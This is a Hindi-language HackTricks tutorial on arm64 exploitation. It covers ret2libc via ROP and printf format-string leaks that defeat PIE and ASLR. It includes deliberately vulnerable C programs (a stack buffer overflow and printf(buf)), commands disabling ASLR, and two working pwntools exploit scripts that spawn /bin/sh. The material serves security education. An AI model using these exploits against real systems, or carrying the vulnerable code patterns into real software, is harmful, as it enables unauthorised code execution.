Ret2lib + Printf leak - arm64

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Ret2lib - NX bypass with ROP (no ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

कैनेरी के बिना कंपाइल करें:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

ऑफसेट खोजें

x30 ऑफसेट

pattern create 200 के साथ एक पैटर्न बनाना, इसका उपयोग करना, और pattern search $x30 के साथ ऑफसेट की जांच करने से हम देख सकते हैं कि ऑफसेट 108 (0x6c) है।

मुख्य फ़ंक्शन को dissemble करने पर हम देख सकते हैं कि हमें printf पर सीधे जाने के निर्देश के लिए जंप करना चाहिए, जिसका ऑफसेट बाइनरी लोड होने से 0x860 है।

सिस्टम और /bin/sh स्ट्रिंग खोजें

ASLR अक्षम होने के कारण, पते हमेशा एक ही रहेंगे:

गैजेट्स खोजें

हमें x0 में स्ट्रिंग /bin/sh का पता होना चाहिए और system को कॉल करना है।

Rooper का उपयोग करके एक दिलचस्प गैजेट मिला था:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

शोषण

यह गैजेट $sp + 0x18 से x0 लोड करेगा और फिर sp से पते x29 और x30 लोड करेगा और x30 पर जाएगा। इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर जांप कर सकते हैं

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL और PIE को printf leaks के साथ बाइपास करें स्टैक से

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

कैनेरी के बिना कंपाइल करें:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE और ASLR लेकिन कैनेरी नहीं

  • दौर 1:

  • स्टैक से PIE का लीक

  • Abuse bof को मुख्य में वापस जाने के लिए

  • दौर 2:

  • स्टैक से libc का लीक

  • ROP: ret2system

Printf leaks

Printf को कॉल करने से पहले ब्रेकपॉइंट सेट करने से देखा जा सकता है कि स्टैक में बाइनरी में वापस जाने के लिए पते और लिब्सी पते हैं:

विभिन्न ऑफसेट की कोशिश करने पर, %21$p एक बाइनरी पता लीक कर सकता है (PIE बायपास) और %25$p एक libc पता लीक कर सकता है:

लीक किए गए libc पते को libc के बेस पते से घटाकर, देखा जा सकता है कि लीक हुए पते का ऑफसेट बेस से 0x49c40 है।

x30 ऑफसेट

बोफ पिछले उदाहरण के रूप में है।

गैजेट्स खोजें

पिछले उदाहरण की तरह, हमें x0 में स्ट्रिंग /bin/sh का पता होना चाहिए और system को कॉल करना है।

Rooper का उपयोग करके एक और दिलचस्प गैजेट मिला था:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

यह गैजेट $sp + 0x78 से x0 लोड करेगा और फिर x29 और x30 के पते को sp से लोड करेगा और x30 पर जाएगा। इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर जांप कर सकते हैं

शात्रुता

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated